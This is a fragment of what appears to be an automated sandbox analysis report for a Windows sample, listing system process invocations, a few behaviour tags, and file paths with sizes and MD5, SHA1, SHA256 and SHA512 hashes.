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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3520
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4100
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4504
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:892
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Filesize338B
MD5b9d463b0421a31c1eb8f3ced7ba0803c
SHA1c5986a6a352898582ade36d40fbd5939002f6b2e
SHA256e55b1180d0ecd6b251afb01d72803a0683a1a352d0b009d39abb53ef29474936
SHA51270418751d63ad3d42be66d8ebf82dba05439dde21f99169ba9e85a4a76ca1c0cd07bad776b798e799d3f1c95a79c1a8565cbe4d458553027b487bca4ba7a79e6
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E
Filesize556B
MD5b81364c321b0dfe0109ecc8615a7e844
SHA1dd75886d4cbb394cef6824b81868cc4038cd3e99
SHA256674bca4bf0ec3508365b4b20777aec18b5e2cd74f06707371e61b9f0ec656c2f
SHA5125a84c2c08d0da52eccee30d6749d86dacb806fdad16069008d601ae8241ea99623e3ae7a19555e2618d37b1d6831f50337acad8314089b46c6497a715cc6beaf
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize408B
MD5efb3785e5280be9135a0c27083f13475
SHA16dbc43b2d39ff2fac18c74089195ba97ca4137ba
SHA2569ecbc305d429e2afa7751672bfa68ebdca132d4a6397b55284ab7c1a1a9a71c4
SHA5125e39c7111edfde2fd390652046a8d266b839364ac9074438c77b8cd25249a8f3ba41b8f9d586b753fa0527464a3c4337ef86a48e2003e0eefdbf05dad9da67c6
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Filesize
283B
MD54fdbd87e6a23945871d064de7f7af6b8
SHA16e44ac14c774818ccc475a1e6b6e880bf3263a58
SHA2568bc678fef40991a4bd3a0f868c94dd74507a5b3ac019f8c3834d85873fd443b6
SHA5126ac495d4bd2509ff5e4162e0fe1ce4efdf6717e62ced90c8c97141691fd2001efb88f136310093deea8b86d849a2e5c520f483dc1266cce1aa13d23875622c44
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Filesize
409KB
MD5404ab800bbe49c36bd64d0d73600b59a
SHA14c8dff2702fada108f7477ad357067310b584366
SHA2565465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154
SHA512d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
224B
MD5613507d47faa8d6c5f4ae4c6296ba6e4
SHA1085c908adef4260a1d1d4c8d9378f318949f4e3b
SHA256266712547c16e345a7834169d41f5e579eef8d853d5f63e1a59099401773b4c1
SHA512dd70453fbdad0737046728bc7243b8102ebe6fa3f98c880801375a02abf540b66566d0738c273328a751c7a930e4b7f74eaa649a245f9b18692d1aa9ec846880
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9
Filesize420B
MD5b35e728bcab29891aeae592420c70340
SHA1979330dcaf35137719a05542eb4443e0f1b80d24
SHA256fc4260ee7403dd0ca9572bc41277956f64bafe01965068148124f8313ec61d45
SHA512e972188233af80c0e47a2b6a28998d7ac76fa5ceb81c8414dfd2974d1aeabc1144b8aa55ff72c5caf604b30fbbdc0804ef633c0a8adcf4b24f87067fee92863c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize2KB
MD55f4c933102a824f41e258078e34165a7
SHA1d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
SHA256d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
SHA512a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD56ac70cc97403dc21deee7e752466f614
SHA10ada9639fc25d4956164dec32628181e8834fe1f
SHA2561dd0d2e4663e18184181b63df229dc86c56b2e52cd2cfd8a8bb1590e720a69ca
SHA51265279ddec7c590735e37d948896b1439cd070632b7c776d1f56358fd7fe93fecf59aeee0593db8bce401b1189c6959753155f15f7857c53b4fe36326d9200320
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5bb7d9cd87343b2c81c21c7b27e6ab694
SHA127475110d09f1fc948f1d5ecf3e41aba752401fd
SHA256b06963546e5a36237a9061b369789ebdfc6578c4adfbb3ad425a623ffd2518df
SHA512bf6e222412df3e8fb28fbdd2247628b85ed5087d7be94fa77577a45d02c5f929f20d572867616f1761c86a81e0769d63be5a4e737975c7e7ebc2ef9dccae9a0b